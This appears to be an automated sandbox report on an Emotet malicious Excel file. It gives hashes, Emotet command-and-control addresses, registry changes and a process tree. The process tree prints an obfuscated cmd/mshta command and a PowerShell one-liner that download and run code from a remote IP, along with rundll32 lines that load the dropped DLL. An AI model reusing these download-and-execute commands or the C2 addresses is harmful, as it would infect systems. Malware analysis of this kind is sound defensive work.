emotet | 5ef52f4f5deb0e152aa64b4caf544485ce1e2e6b9c492cf7d317668fb3783d4e

Analysis

max time kernel
59s
max time network
48s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 02:39

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Report Analysis Logs

General

Target

2022-1-28-5cebfe367350577ffb538c70903fd827.xls
Size

47KB
MD5

5cebfe367350577ffb538c70903fd827
SHA1

aa64391e91664013f600192b910f862f31ae5c63
SHA256

5ef52f4f5deb0e152aa64b4caf544485ce1e2e6b9c492cf7d317668fb3783d4e
SHA512

70ff6ad683f185f757509b569b8d7b91db614fbd39cce5da3d814f6a6ea56b3c5ed0438cef3da03f411a5e828a013af5633a3301cc90f4f319d36b2b836d2514

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1376	1660	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1412 mshta.exe
5 1720 powershell.exe
7 1720 powershell.exe
9 1712 rundll32.exe
11 1712 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1488 rundll32.exe
1488 rundll32.exe
1488 rundll32.exe
1488 rundll32.exe
1408 rundll32.exe
1408 rundll32.exe
1408 rundll32.exe
1408 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1412	mshta.exe
5	1720	powershell.exe
7	1720	powershell.exe
9	1712	rundll32.exe
11	1712	rundll32.exe

pid	process
1488	rundll32.exe
1488	rundll32.exe
1488	rundll32.exe
1488	rundll32.exe
1408	rundll32.exe
1408	rundll32.exe
1408	rundll32.exe
1408	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exeEXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1660 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1720 powershell.exe
1712 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1720 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1660 EXCEL.EXE
1660 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1660 EXCEL.EXE
1660 EXCEL.EXE
1660 EXCEL.EXE

pid	process
1660	EXCEL.EXE

pid	process
1720	powershell.exe
1712	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1720	powershell.exe

pid	process
1660	EXCEL.EXE
1660	EXCEL.EXE

pid	process
1660	EXCEL.EXE
1660	EXCEL.EXE
1660	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1660 wrote to memory of 1376	1660	EXCEL.EXE	CMD.EXE
PID 1660 wrote to memory of 1376	1660	EXCEL.EXE	CMD.EXE
PID 1660 wrote to memory of 1376	1660	EXCEL.EXE	CMD.EXE
PID 1660 wrote to memory of 1376	1660	EXCEL.EXE	CMD.EXE
PID 1376 wrote to memory of 1412	1376	CMD.EXE	mshta.exe
PID 1376 wrote to memory of 1412	1376	CMD.EXE	mshta.exe
PID 1376 wrote to memory of 1412	1376	CMD.EXE	mshta.exe
PID 1376 wrote to memory of 1412	1376	CMD.EXE	mshta.exe
PID 1412 wrote to memory of 1720	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1720	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1720	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1720	1412	mshta.exe	powershell.exe
PID 1720 wrote to memory of 1816	1720	powershell.exe	cmd.exe
PID 1720 wrote to memory of 1816	1720	powershell.exe	cmd.exe
PID 1720 wrote to memory of 1816	1720	powershell.exe	cmd.exe
PID 1720 wrote to memory of 1816	1720	powershell.exe	cmd.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1488	1816	cmd.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1488 wrote to memory of 1408	1488	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1408 wrote to memory of 1472	1408	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1712	1472	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-5cebfe367350577ffb538c70903fd827.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1488

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1408

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi",DQSogtFtAwdk
8⤵
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
